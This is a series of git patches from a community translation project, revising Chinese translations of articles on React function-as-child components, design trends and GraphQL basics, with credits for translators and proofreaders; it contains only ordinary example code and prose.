index 8a7ee9897c7..a1879636005 100644
--- a/TODO/function-as-child-components.md
+++ b/TODO/function-as-child-components.md
@@ -1,22 +1,25 @@
 > * 原文地址：[Function as Child Components](http://merrickchristensen.com/articles/function-as-child-components.html)
 > * 原文作者：[Merrick](http://merrickchristensen.com/about.html)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[rottenpen](https://github.com/rottenpen)
 > * 校对者：
 
-# Function as Child Components #
 
-I recently polled on Twitter regarding Higher Order Components and Function as Child, the results were surprising to me.
+# 函数式子类组件 #（这个名字待定）
 
-If you don’t know what the “Function as Child” pattern is, this article is my attempt to:
+我最近在 Twitter 上关注了高阶组件和函数式子类组件，得到的结果让我很惊喜。
 
-1. Teach you what it is.
-2. Convince you of why it is useful.
-3. Get some fetching hearts, or retweets or likes or newsletters or something, I don’t know. I just want to feel appreciated, you know?
+如果你不知什么是“函数式子类组件”，我试图通过这篇文章告诉你：
 
-## What are Function as Child Components? ##
+1. 是什么。
 
-“Function as Child Component”s are components that receive a function as their child. The pattern is simply implemented and enforced thanks to React’s property types.
+2. 为什么有用。
+
+3. 我只想享受分享的快乐，而获取不是点赞，转发或者别的，你懂我的意思吧？
+
+## 什么是函数式子组件？ ##
+
+“函数式子类组件”是接收一个函数当作父组件的子类组件。
 
 ```
 classMyComponentextendsReact.Component{   
@@ -35,7 +38,7 @@ MyComponent.propTypes = {
 
 ```
 
-That is it! By using a Function as Child Component we decouple our parent component and our child component letting the composer decide what & how to apply parameters to the child component. For example:
+没错！通过子类组件函数我们就能解耦父类组件和他们的子类，让设计者决定选用哪些参数及怎么将参数应用于子类组件。例如：
 
 ```
 <MyComponent>
@@ -46,7 +49,7 @@ That is it! By using a Function as Child Component we decouple our parent compon
 
 ```
 
-And somebody else, using the same component could decide to apply the name differently, perhaps to an attribute:
+有些人打算在同一组件里添加不同名字，或者不同属性：
 
 ```
 <MyComponent>
@@ -56,13 +59,13 @@ And somebody else, using the same component could decide to apply the name diffe
 </MyComponent>
 ```
 
-What is really neat here is that MyComponent, the Function as Child Component can manager state on behalf of components it is composed with, without making demands on how that state is leveraged by its children. Lets move on to a more realistic example.
+对 MyComponent 最贴切的说法是，函数子组件作为父类管理状态的组件，而不是对其状态的利用。让我们再来一个更真实的例子。
 
-### The Ratio Component ###
+### 百分比组件 ###
 
-The Ratio Component will use the current device width, listen for resize events and call into its children with a width, height and some information about whether or not it has computed the size yet.
+Ratio 组件将使用设备的宽度，监听 resize 事件和返回它的子类们一个宽度，高度和一些关于是否计算了尺寸的信息。
 
-First we start out with a Function as Child Component snippet, this is common across all Function as Child Component’s and it just lets consumers know we are expecting a function as our child, not React nodes.
+首先我们从函数子组件的片段开始，这片段在所有函数子组件中都是常见的，它只是让消费者知道我们期望一个函数作为子组件，而不是 React 节点。
 
 ```
 classRatioextendsReact.Component{  
@@ -79,7 +82,7 @@ Ratio.propTypes = {
 
 ```
 
-Next lets design our API, we want a ratio provided in terms of X and Y axis which we will then use the current width to compute, lets set up some internal state to manage the width and height, whether or not we have even calculated that yet, along with some propTypes and defaultProps to be good citizens for people using our component.
+接下来让我们设计 API ，我们想要一个 X Y 轴的比率，然后我们使用当前的宽度来计算，可以设置一些内部 state 来管理宽度和高度，无论我们是否已经计算了。此外，propTypes 和 defaultProps 在我们使用组件的时候也该有不错的表现。
 
 ```
 classRatioextendsReact.Component{  
@@ -113,7 +116,7 @@ Ratio.defaultProps = {
 
 ```
 
-Alright so we aren’t doing anything interesting yet, lets add some event listeners and actually calculate the width (accommodating as well for when our ratio changes):
+实际上我们没有做任何有趣的事情，让我们来添加一些事件监听，并计算实际宽度（根据我们比率的变化）：
 
 ```
 classRatioextendsReact.Component{
@@ -185,13 +188,13 @@ Ratio.defaultProps = {
 
 ```
 
-Alright, so I did a lot there. We added some event listeners to listen for resize events as well as actually computing the width and height using the provided ratio. Neat, so we’ve got a width and height in our internal state, how can we share it with other components?
+好吧，在这我做了很多东西。我们添加了一些事件监听来监听 resize 事件以及使用提供的比率计算实际的宽度高度。所以我们得到了一个宽高在组件的 state 里，那我们如何与其他组件分享它们呢？
 
-This is one of those things that is hard to understand because it is so simple that when you see it you think, “That can’t be all there is to it.” but this is all there is to it.
+这是一件难以理解的事情，因为它很容易让人认为“这不可能是全部”，但事实这就是全部了。
 
-#### Children is literally just a JavaScript function. ####
+#### 子类组件只是一个 javascript 函数 ####
 
-That means in order to pass the calculated width and height down we just provide them as parameters:
+这意味着为了计算宽度和高度，我们只需要提供参数：
 
 ```
 render() {
@@ -204,7 +207,7 @@ render() {
 
 ```
 
-Now anyone can use the ratio component to provide a full width and properly computed height in whatever way they would like! For example, someone could use the Ratio component for setting the ratio on an img:
+现在任何人都可以使用比例组件通过提供的宽度以他们喜欢的方式来正确计算出高度！例如，有人可以使用比例组件来设置img上的比例：
 
 ```
 <Ratio>
@@ -216,7 +219,7 @@ Now anyone can use the ratio component to provide a full width and properly comp
 </Ratio>
 ```
 
-Meanwhile, in another file, someone has decided to use it for setting CSS properties.
+同时，在另一个文件中，有人决定使用它来设置CSS属性。
 
 ```
 <Ratio>
@@ -227,7 +230,7 @@ Meanwhile, in another file, someone has decided to use it for setting CSS proper
 
 ```
 
-And in another app, someone is using to conditionally render different children based on computed height:
+在另一个 app 里，有人正根据计算高度使用不同的子类组件:
 
 ```
 <Ratio>
@@ -239,52 +242,48 @@ And in another app, someone is using to conditionally render different children
 </Ratio>
 ```
 
-### Strengths ###
-
-1. The developer composing the components owns how these properties are passed around and used.
-2. The author of the Function as Child Component doesn’t enforce how its values are leveraged allowing for very flexible use.
-3. Consumers don’t need to create another component to decide how to apply properties passed in from a “Higher Order Component”. Higher Order Components typically enforce property names on the components they are composed with. To work around this many providers of “Higher Order Components” provide a selector function which allows consumers to choose your property names (think redux-connects select function). This isn’t a problem with Function as Child Components.
-4. Doesn’t pollute “props” namespace, this allows you to use a “Ratio” component and a “Pinch to Zoom” component together regardless that they are both calculating width. Higher Order Components carry an implicit contract they impose on the components they are composed with, unfortunately this can mean colliding prop names being unable to compose Higher Order Components with other ones.
-5. Higher Order Components create a layer of indirection in your development tools and components themselves, for example setting constants on a Higher Order Component will be unaccessible once wrapped in a Higher Order Component. For example:
+### 优势 ###
+1. 构造组件的开发人员能自主控制如何传递和使用这些属性。
+2. 函数式子组件的作者不强制组件的值如何被利用，允许它非常灵活的使用。
+3. Comsumer 不需要创建另一个组件来决定怎样从“高阶组件”传入属性。高阶组件通常在组成的组件上强制执行属性名称。 为了解决这个问题，许多“高阶组件”提供了一个选择器函数，允许消费者选择你的属性名称（请参考 redux 连接选择功能）。这不是函数子组件的问题。
+4. 不污染 “props” 命名空间，这允许你同时使用 “Ratio” 组件和 “Pinch to Zoom” 组件，不管它们是否都会计算宽度。高阶组件带有与它们组成的组件相关的隐式契约，不幸的是这可能意味着 prop 的名称会发生冲突以至于高阶组件无法与其他组件进行组合。
+5. 高阶组件在你的开发工具和组件本身中创建一个间接层，例如设置在组件上的常量被高阶组件封装后将无法使用。例如：
 
 ```
 MyComponent.SomeContant = 'SCUBA';
 
 ```
 
-Then wrapped by a Higher Order Component,
+然后被组件封装,
 
 ```
 exportdefault connect(...., MyComponent);
 
 ```
+.
+RIP 你的常数（？）。如果没有高阶组件提供的函数则不可再访问底层组件。哭。
 
-RIP your constant. It is no longer accessible without the Higher Order Component providing a function to access the underlying component class. Sad.
-
-#### Summary ####
+#### 总结 ####
+大多数时候我们会认为“我需要一个高阶组件来实现这个共享功能！”根据我的经验，我相信在多数情况下函数式子组件是一个更好的替代方法来抽象你的UI问题，除非你的子组件与其组合的高阶组件真正耦合。
 
-Most the time when you think “I need a Higher Order Component for this shared functionality!” I hope I have convinced you that a Function as Child Component is a better alternative for abstracting your UI concerns, in my experience it nearly always is, with the exception that your child component is truly coupled to the Higher Order Component it is composed with.
-
-#### An Unfortunate Truth About Higher Order Components ####
-
-As an ancillary point, I believe that Higher Order Components are improperly named though it is probably to late to try and change their name. A higher order function is a function that does at least one of the following:
-
-1. Takes n functions as arguments.
-2. Returns a function as a result.
+#### 关于高阶组件的不幸事实 ####
+补充一下，我认为高阶组件的名称不正确，尽管现在尝试修改已经有点晚了。高阶函数是至少执行一下操作之一的函数：
+1. 将n个函数作为参数。
+2. 返回一个函数作为结果。
 
 Indeed Higher Order Components do something similar to this, namely take a Component as and argument and return a Component but I think it is easier to think of a Higher Order Component as a factory function, it is a function that dynamically creates a component to allow for runtime composition of your components. However, they are **unaware** of your React state and props at composition time!
+事实上，高阶组件做了类似的事情，也就是拿一个组件作为参数并返回一个组件，但是我更容易将高阶组件看作是工厂函数，它是一个能动态创建的组件将允许的功能用于组件的运行组合。然而，在运行组合的时候他们是**不知道**你的 React 的 state 和 props 。
 
-Function as Child Components allow for similar composition of your components with the benefit of having access to state, props and context when making composition decisions. Since Function as Child Components:
-
-1. Take a function as an argument.
-2. Render the result of said function.
+函数式子组件允许你的组件们在作出组合决策时可以访问 state，props 和上下文。当函数作为子组件：
 
-I can’t help but feel they should have gotten the title “Higher Order Components” since it is a lot like higher order functions only using the component composition technique instead of functional composition. Oh well, for now we will keep calling them “Function as Child Components” which is just wordy and gross sounding.
+1. 将一个函数作为参数。
+2. 渲染此函数的结果。
 
-### Examples ###
+我不禁觉得它们应该得到“高阶组件”的标题，因为它像高阶函数只使用组件组合技术而不是功能组合。好吧，现在我们还是继续用“函数式子组件”这个粗暴的名字。
+### 例子 ###
 
 1. [Pinch to Zoom - Function as Child Component](https://gist.github.com/iammerrick/c4bbac856222d65d3a11dad1c42bdcca)
-2. [react-motion](https://github.com/chenglou/react-motion) This project introduced me to this concept after being a long time Higher Order Component convert.
+2. [react-motion](https://github.com/chenglou/react-motion) 这个项目在讲过很长一段时间的高阶组件转换后才引进了这个概念。
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From b9464a6cea134174da6e90815a32da20a95f22e9 Mon Sep 17 00:00:00 2001
From: Ruixi <ruixi648126289@gmail.com>
Date: Sun, 23 Apr 2017 22:58:57 +0800
Subject: [PATCH 235/638] Update
 from-form-to-function-our-thoughts-on-design-are-changing.md

---
 ...ion-our-thoughts-on-design-are-changing.md | 30 +++++++++----------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/TODO/from-form-to-function-our-thoughts-on-design-are-changing.md b/TODO/from-form-to-function-our-thoughts-on-design-are-changing.md
index 3ed924e8fd9..b8d0c14d628 100644
--- a/TODO/from-form-to-function-our-thoughts-on-design-are-changing.md
+++ b/TODO/from-form-to-function-our-thoughts-on-design-are-changing.md
@@ -2,31 +2,31 @@
 > * 原文作者：[Adobe Creative Cloud](https://medium.com/@creativecloud)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[Ruixi](https://github.com/ruixi)
-> * 校对者：
+> * 校对者：[cfanlife](https://github.com/cfanlife)，[hudson6666](https://github.com/hudson6666)
 
 # 从形式到功能，设计思维的改变
 
 ![](https://cdn-images-1.medium.com/max/1600/1*bImmCpF6MPs9JslB21eAVQ.jpeg)
 
-设计作为用户参与的基本驱动力，对商业而言比以往任何时候都更加重要。留意一下最近的用户界面设计趋势，这可能让你感受到用户的期待以往的变化，以及未来的趋势。但在我们深入讨论之前，有个问题需要回答—— **设计是什么？**
+设计作为用户参与的基本驱动力，对商业而言比以往任何时候都更加重要。留意一下最近的用户界面设计趋势，这可能让你感受到用户的期望是如何发生改变的，以及未来的趋势。但在我们深入讨论之前，有个重要的问题需要回答—— **设计是什么？**
 
 ### 设计是什么？
 
-大多数人（甚至包括一些设计师）都将设计视作在产品完成之后所添加的视觉点缀，在产品开发结束之后的工艺流程，就像是设计师们强加在工程师的真实工作之上的。设计的确是视觉美学，但不仅如此。就像史蒂夫·乔布斯曾经说过的：“设计不只关乎视觉和感官。**设计关乎（产品）如何运作**。（Design is not just what it looks like and feels like. Design is how it works.）” 设计既包括产品的**视觉体验**，也包括产品的**运作原理**。
+大多数人（甚至包括一些设计师）都将设计视作在产品完成之后所添加的视觉点缀、在产品开发结束之后的工艺流程，就像是设计师们强加在工程师的真实工作之上的。设计的确是视觉美学，但不仅如此。就像史蒂夫·乔布斯曾经说过的：“设计不只关乎视觉和感官。**设计关乎（产品）如何运作**。（Design is not just what it looks like and feels like. Design is how it works.）” 设计既包括产品的**视觉体验**，也包括产品的**运作原理**。
 
 ### 图形用户界面（GUI）设计的演化
 
-计算机和人类说着不同的语言。设计师们依靠**图形**用户界面使交互成为可能。最近的 GUI 设计演化清晰地表明：**设计趋势就是用户的不断变化。** 为了证明这一点，我们来看看最近十年的 GUI 设计变化。
+计算机和人类说着不同的语言。设计师们依靠**图形**用户界面使交互成为可能。最近的 GUI 设计演化清晰地表明：**设计趋势就是用户（需求）的不断变化。** 为了证明这一点，我们来看看最近十年的 GUI 设计变化。
 
 #### 从复杂到简单
 
 由于移动设备的普及，2000 年底的 GUI 设计开始产生了明显的变化。设备配置的极大变化迫使设计师们不得不界面进行重新思考，而这又反过来引起了全球的 GUI 设计的变化。
 
-看看 Web 的历史，我们就会发现十年前的网站设计是不成熟的。但视觉并不是这种设计方式唯一的问题所在。网站试图提供**尽可能多的选择**：一个站点所包含的所有信息似乎都是可用的，页面上的每个元素都“同等”重要。（那时的）设计师们觉得这样会让网站对用户来说更有价值。不幸的是，这往往导致页面的杂乱无章。在下方的案例中，你可以看出，从可用性的角度出发，一个乱七八糟的界面能凌乱到什么程度。
+看看 Web 的历史，我们就会发现十年前的网站设计是不成熟的。但对于这种设计来说，视觉展示并不是唯一的问题。网站试图提供**尽可能多的选择**：一个站点所包含的所有信息似乎都是可用的，页面上的每个元素都“同等”重要。（那时的）设计师们觉得这样会让网站对用户来说更有价值。不幸的是，这往往导致页面的杂乱无章。在下方的案例中，你可以看出，从可用性的角度去观察，你可以看到一个乱糟糟的界面能够让人分心到何种程度。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*MgAzj4RVV2zFTQKQCmfSRw.jpeg)
 
-随着移动设备的兴起，设计师们开始意识到，用户的注意力是一种需要被合理利用的珍贵资源。这就促使了**高度集中**和**按优先级处理界面**的出现。这样的界面能在用户最需要的时候提供最恰当数量的可用信息。
+随着移动设备的兴起，设计师们开始意识到，用户的注意力是一种需要被合理利用的珍贵资源。这就促使了**高度集中**和**层次化界面**的出现。这样的界面能在用户最需要的时候提供最恰当数量的可用信息。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*IMwAqnMVH2peTtdNtwPPhQ.jpeg)
 
@@ -50,13 +50,13 @@
 
 ### 从像素到人
 
-现代应用程序和网站不只是解决方案的视觉表现，更是专注于解决用户问题并提供有价值结果的复杂系统。尽管这些系统有种种优点，但它还是有一个严重的天然障碍——图形用户界面。无论 GUI 如何优秀，人们都不得不去学习如何使用它。为了解决这个问题，现代 UX 走得更远——屏幕设计，以及融入没有用户界面的交互之中。
+现代应用程序和网站不只是解决方案的视觉表现，更是专注于解决用户问题并提供有价值结果的复杂系统。尽管这些系统有种种优点，但它还是有一个严重的天然障碍——图形用户界面。无论 GUI 如何优秀，人们都不得不去学习如何使用它。为了解决这个问题，现代 UX 已经不再局限于屏幕上的设计，走到了一个没有用户界面的交互世界之中。
 
 #### 节省时间的设计
 
-今天，用户期望从他们与科技的交互中的用户投入更多，以及经验的无需磨合。他们想要使用被设计来节省他们的时间的产品。节约时间的设计完全是对用户时间的慎重对待，这也清楚地解释了它们崛起的原因。当代应用程序设计力求追随如下趋势：
+今天，用户期望他们在与科技交互中获得更忠实于用户习惯、更畅快的体验。他们想要使用被设计来节省他们的时间的产品。节约时间的设计完全是对用户时间的慎重对待，这也清楚地解释了它们崛起的原因。当代应用程序设计力求追随如下趋势：
 
-- **预见用户需求。** 这里用 Dark Sky weather 举个例子。一些用户可能仍然喜欢打开天气应用来查看天气预报，但天气应用最有用的举动是提醒用户突然变化的天气状况(比如通知用户很快就要下雪了)。
+- **预见用户需求。** 这里用 Dark Sky weather 举个例子。一些用户可能仍然喜欢打开天气应用来查看天气预报，但天气应用最有用的功能是提醒用户突然变化的天气状况：比如通知用户很快就要下雪了。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*79Wbi92BeDyVaDPEEQjMLQ.jpeg)
 
@@ -64,21 +64,21 @@
 
 ![](https://cdn-images-1.medium.com/max/1600/0*0ouzEuTHaORKAryP.jpg)
 
-#### 自学习系统（Self-learning systems ，SLS）
+#### 自我学习系统（Self-learning systems，SLS）
 
-自学习系统控制软件预见一些简单的、需要被自动代替用户完成的任务，或者至少让用户更接近任务完成的步骤。功能更为自主的软件对用户来说有个很重大的益处——不需要**太多注意力**。 自学习软件的基本构件是基于经验的系统学习能力，分析传入数据，以及对新的事件作出反应。自学习系统面临的挑战是在控制交互行为数量的基础上设计行为，关注人的行为。为什么这是个挑战？因为你需要在节约用户时间和为用户提供足够多的选项（让用户感受到自己对系统的控制）找到一个平衡点
+自我学习系统控制软件预见一些简单的、需要被自动代替用户完成的任务，或者至少能让用户距离完成任务更近若干步。功能更为自主的软件对用户来说有个很重大的益处——减少了**需要的注意力**。 自我学习软件的基本构件是基于经验学习、对传入数据分析，以及对新的事件作出反应的能力。自我学习系统面临的挑战是如何在关注用户行为的同时，以尽可能少的交互来设计行为。为什么这是个挑战？因为你需要在节约用户时间和为用户提供足够多的选项（让用户感受到自己对系统的控制）找到一个平衡点。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*_yiHy0NAU1xANCf6HYxMDA.jpeg)
 
-[Nest](https://nest.com/) 就是个很好的自学习系统的例子。它是一个可以围绕用户的生活来制定计划的半智能恒温器。每当用户更改系统设置的时候，Nest 都会记得调整温度，并且在几天之后用户对 Nest 的调整会减少，因为它把它学到的一切都变成家庭的时间表。是的，Nest 有很多缺点(最严重的是[系统总是采用自己的方式](https://www.nngroup.com/articles/emotional-design-fail/))，但它依然是下一代产品的绝好示例。展望未来，自学习软件将会是区别传统应用和现代应用的一个重要因素。
+[Nest](https://nest.com/) 就是个很好的自我学习系统的例子。它是一个可以围绕用户的生活来制定计划的半智能恒温器。每当用户更改系统设置的时候，Nest 都会记下温度调整，并且在几天之后用户对 Nest 的调整会减少，因为它把它学到的一切都变成家庭的时间表。是的，Nest 有很多缺点(最严重的是[系统总是采用自己的方式](https://www.nngroup.com/articles/emotional-design-fail/))，但它依然是下一代产品的绝好示例。展望未来，自学习软件将会是区别传统应用和现代应用的一个重要因素。
 
-#### 会话界面
+#### 会话式交互界面
 
 随着 iPhone 消息， Slack 以及 WhatsApp 的出现，我们交换信息的方式被完全改变。 短信已经成为一种极其自然的交流方式。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*ZMmEYOSW_mZttqHXIEqDpw.png)
 
-这一趋势导致了会话界面的普及。从本质上讲，会话界面就是是模仿真实人类聊天的用户界面。“聊天机器人（Chatbot）”是目前我们行业最热门的术语之一。越来越多的应用程序的 GUI 支持个人聊天。为什么？因为交谈对我们来说感觉很自然，这种特性使聊天机器人的使用比在传统用户界面中敲击一堆按钮更加直观。另一个会话界面的优势在于细节程度（这个词我不太确定——译者注）：GUI 在实际中只有有限的选项，但和聊天机器人交谈在理论上（如果设计得好）允许开放式的发现和交互。
+这一趋势导致了会话界面的普及。从本质上讲，会话界面就是是模仿真实人类聊天的用户界面。“聊天机器人（Chatbot）”是目前我们行业最热门的术语之一。越来越多的应用程序倾向于使用个人聊天而不是GUI（的形式来和用户交互）。为什么？因为交谈对我们来说感觉很自然，这种特性使聊天机器人的使用比在传统用户界面中点击一堆按钮更加直观。另一个会话界面的优势在于细节程度（这个词我不太确定——译者注）：GUI 在实际中只有有限的选项，但和聊天机器人交谈在理论上（如果设计得好）允许开放式的发现和交互。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*odt0dGAYbEau2LXZo8EF3A.gif)
 
@@ -90,7 +90,7 @@
 
 ### 结语
 
-随着技术的不断发展，我们正在使互动与数字服务更直观，更便捷，更高效的道路上不断前行。下一代平台继续发展得更接近人与人之间的对话。未来的界面不一定是由像素组成的。
+随着技术的不断发展，我们正在使互动与数字服务更直观，更便捷，更高效的道路上不断前行。下一代平台继续发展得更接近人与人之间的对话，未来的界面不一定是由像素组成的。
 
 ---
 

From 6fb4cf300c85bf69fdf16cee465cde65314f4140 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Sun, 23 Apr 2017 23:28:37 +0800
Subject: [PATCH 236/638] Update
 so-whats-this-graphql-thing-i-keep-hearing-about.md

---
 ...this-graphql-thing-i-keep-hearing-about.md | 60 +++++++++----------
 1 file changed, 30 insertions(+), 30 deletions(-)

diff --git a/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md b/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
index 08f201709ce..d420d000516 100644
--- a/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
+++ b/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
@@ -1,18 +1,18 @@
 > * 原文地址：[So what’s this GraphQL thing I keep hearing about?](https://medium.freecodecamp.com/so-whats-this-graphql-thing-i-keep-hearing-about-baf4d36c20cf)
 > * 原文作者：[Sacha Greif](https://medium.freecodecamp.com/@sachagreif?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：[lsvih](https://github.com/xitu/lsvih)
-> * 校对者：
+> * 译者：[lsvih](https://github.com/lsvih)
+> * 校对者：[xiaoyusilen](https://github.com/xiaoyusilen),[steinliber](https://github.com/steinliber)
 
 ![](https://cdn-images-1.medium.com/max/2000/1*uF2-YU2quykHIs4tKXy7sw.png)
 
 # 我经常听到的 GraphQL 到底是什么？ #
 
-当听说又出了一门新技术的时候，你可能会和我一样有以下 3 种反应：
+当听说出了一门新技术的时候，你可能会和我一样有以下 3 种反应：
 
 #### 1. 嫌弃 ####
 
-> 又来一个 JavaScript 类库？反正我就用 jQuery。
+> 又来一个 JavaScript 类库？反正我只用 JQuery 就行了。
 
 #### 2. 感兴趣 ####
 
@@ -20,9 +20,9 @@
 
 #### 3. 恐慌 ####
 
-> 救命啊！我必须**现在马上**去学这个新东西，否则我就会被淘汰了！
+> 救命啊！我必须**马上**去学这个新库，否则我就会被淘汰了！
 
-在这个迅速变化的时代，让你保持理智的方法就是在以上第二到第三阶段间学习一些新的知识，走在潮流之前的同时仍然保持高昂的兴趣。
+在这个迅速发展的时代，让你保持理智的方法就是保持上述第二或第三种态度去学一些新的知识，走在潮流之前的同时激起你的兴趣。
 
 因此，现在就是学习 GraphQL 这个你常常听到别人谈论的东西的最好时机！
 
@@ -30,7 +30,7 @@
 
 简单的说，GraphQL 是一种**描述请求数据方法的语法**，通常用于客户端从服务端加载数据。GraphQL 有以下三个主要特征：
 
-- 它让客户端能具体指定需要拿的数据。
+- 它允许客户端指定具体所需的数据。
 - 它让从多个数据源汇总取数据变得更简单。
 - 它使用了类型系统来描述数据。
 
@@ -42,23 +42,23 @@
 
 GraphQL 是由 Facebook 开发的，用于解决他们巨大、老旧的架构的数据请求问题。但是即使是比 Facebook 小很多的 app，也同样会碰上一些传统 REST API 的局限性问题。
 
-例如，假设你要展示一个文章（`posts`）列表，在每篇文章的下面显示喜欢这篇文章的用户列表（`likes`），其中包括用户名和用户头像。这个需求很容易解决，你只需要请求你的`posts` API，然后在其中嵌入包括用户对象的 `likes` 列表，如下所示：
+例如，假设你要展示一个文章（`posts`）列表，在每篇文章的下面显示喜欢这篇文章的用户列表（`likes`），其中包括用户名和用户头像。这个需求很容易解决，你只需要调整你的 `posts` API 请求，在其中嵌入包括用户对象的 `likes` 列表，如下所示：
 
 ![](https://cdn-images-1.medium.com/max/800/1*VuIe8p5Z00HAdnWTv0QUww.png)
 
-但是现在你要开发移动 app，加载所有的额外数据会降低 app 的速度。所以你得请求两个端点（API），一个包含了 `likes` 的信息，另一个不含这些信息（只含有文章信息）。
+但是现在你是在开发移动 app，加载所有的数据明显会降低 app 的速度。所以你得请求两个接口（API），一个包含了 `likes` 的信息，另一个不含这些信息（只含有文章信息）。
 
-现在我们再掺入另一种情况：`posts` 是由 MySQL 数据库存储的，而 `likes` 却是由 Redis 存储的。现在你该怎么办？
+现在我们再掺入另一种情况：`posts` 数据是由 MySQL 数据库存储的，而 `likes` 数据却是由 Redis 存储的。现在你该怎么办？
 
-按着这个剧本想一想 Facebook 的客户端有多少个数据源和 API 需要管理，你就知道为什么现在评价很好的 REST API 会体现出局限性了。
+按着这个剧本想一想 Facebook 的客户端有多少个数据源和 API 需要管理，你就知道为什么现在评价很好的 REST API 所体现出的局限性了。
 
 ### 解决的方案 ###
 
 Facebook 提出了一个概念很简单的解决方案：不再使用多个“愚蠢”的节点，而是换成用一个“聪明”的节点来进行复杂的查询，将数据按照客户端的要求传回。
 
-实际上，GraphQL 处于客户端与一个或多个数据源之间，它接收客户端的请求然后根据你的设定取出需要的数据。还是不明白吗？让我们打个比方吧！
+实际上，GraphQL 层处于客户端与一个或多个数据源之间，它接收客户端的请求然后根据你的设定取出需要的数据。还是不明白吗？让我们打个比方吧！
 
-之前的 REST 模型就好像你预定了一块披萨，然后又要去找便利店送货上门一些日用品，接着打电话给干洗店去取衣服。这有三个商店，你就得打三次电话。
+之前的 REST 模型就好像你预定了一块披萨，然后又要叫便利店送一些日用品上门，接着打电话给干洗店去取衣服。这有三个商店，你就得打三次电话。
 
 ![](https://cdn-images-1.medium.com/max/800/1*LVQb9_hxti9j-fY7SH3aKA.png)
 
@@ -76,7 +76,7 @@ GraphQL 从某方面来说就像是一个私人助理：你只需要给它这三
 
 理论上，一个 GraphQL API 主要由三个部分组成：**schema（类型）**，**queries（查询）** 以及 **resolvers（解析器）**。
 
-### Queries ###
+### 查询（Queries） ###
 
 你向你的 GraphQL 私人助理提出的请求就是 `query` ，query 的形式如下所示：
 
@@ -132,7 +132,7 @@ query {
 }
 ```
 
-最后，如果我想让 `id` 参数能动态改变，我可以定义一个**变量**，然后在 query 字段中使用它。（请注意，我们在 query 字段处也要定义一次这个变量的名字）
+最后，如果我想让 `id` 参数能动态改变，我可以定义一个**变量**，然后在 query 字段中重用它。（请注意，我们在 query 字段处也要定义一次这个变量的名字）
 
 ```
 query getMyPost($id: String) {
@@ -148,7 +148,7 @@ query getMyPost($id: String) {
 }
 ```
 
-有个很好的方式来实践这些方法：使用  [GitHub’s GraphQL API Explorer](https://developer.github.com/early-access/graphql/explorer/) 。例如，试着查询一下：
+有个很好的方式来实践这些方法：使用  [GitHub’s GraphQL API Explorer](https://developer.github.com/early-access/graphql/explorer/) 。例如，你可以尝试下面的查询：
 
 ```
 query {
@@ -161,9 +161,9 @@ query {
 
 ![](https://cdn-images-1.medium.com/max/1000/1*adGjZ9lofuO_ohkmlqtZvg.gif)
 
-GraphQL 的自动完成功能
+GraphQL 的自动补全功能
 
-你可能注意到了，你使用了一个名为 `description` 的新字段名，IDE 会根据 GraphQL API 将可选的字段名自动补全。真棒！
+当你尝试在下面输入一个名为 `description` 的新字段名时，你可能会注意到 IDE 会根据 GraphQL API 将可选的字段名自动补全。真棒！
 
 [![](https://cdn-images-1.medium.com/max/800/1*XthnQqgmM5Ag4TmwM6UVWw.png)](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)
 
@@ -171,13 +171,13 @@ GraphQL 的自动完成功能
 
 你可以读读这篇超棒的文章[《Anatomy of a GraphQL Query》](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)，了解更多 GraphQL 查询的知识。
 
-### Resolvers ###
+### 解释器（Resolvers） ###
 
-即使是世界上最好的私人助理也只能根据你提供的地址去取干洗衣物，而不能凭空将你的衣服变出来。
+除非你给他们地址，否则即使是这个世界上最好的私人助理也不能去拿到干洗衣物。
 
-同样的，GraphQL 服务端并不知道要对一个即将到来的查询做什么处理，除非你告诉它要使用 **resolver**。
+同样的，GraphQL 服务端并不知道要对一个即将到来的查询做什么处理，除非你使用 **resolver** 来告诉他。
 
-一个 resolver 会告诉 GraphQL 在哪里以及如何去取到符合给出字段的数据。例如，下面是之前我们取出 `post` 字段例子的 resolver（使用了 Apollo 的 [GraphQL-Tools](https://github.com/apollographql/graphql-tools) ）：
+一个 resolver 会告诉 GraphQL 在哪里以及如何去取到对应字段的数据。例如，下面是之前我们取出 `post` 字段例子的 resolver（使用了 Apollo 的 [GraphQL-Tools](https://github.com/apollographql/graphql-tools) ）：
 
 ```
 Query: {
@@ -215,13 +215,13 @@ Post: {
 }
 ```
 
-理解这里的关键概念：对于 GraphQL，**你的 API 结构与你的数据库结构是解耦的**。换一种说法，我们的数据库中可能根本就没有 `author` 和 `commentsCount` 这两个字段，但是我们可以通过 resolver 的力量将它们“模拟”出来。
+理解这里的关键在于：对于 GraphQL，**你的 API 结构与你的数据库结构是解耦的**。换一种说法，我们的数据库中可能根本就没有 `author` 和 `commentsCount` 这两个字段，但是我们可以通过 resolver 的力量将它们“模拟”出来。
 
-正如你所见，我们可以在 resolver 中写任何你想写的代码。因此，你可以通过**改变** resolver 任意地**修改**数据库中的内容。
